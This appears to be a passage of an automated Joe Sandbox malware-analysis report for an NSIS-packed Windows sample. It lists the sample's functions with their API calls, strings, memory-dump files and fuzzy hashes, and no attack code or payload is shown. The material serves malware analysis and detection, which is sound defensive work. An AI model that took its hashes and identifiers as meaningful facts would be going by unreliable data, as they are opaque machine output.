Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
, xrefs: 00404F39
M, xrefs: 00404B43
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
@%F, xrefs: 00404674
82D, xrefs: 004046DB
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
\*.*, xrefs: 00406D03
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 00406A53
@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
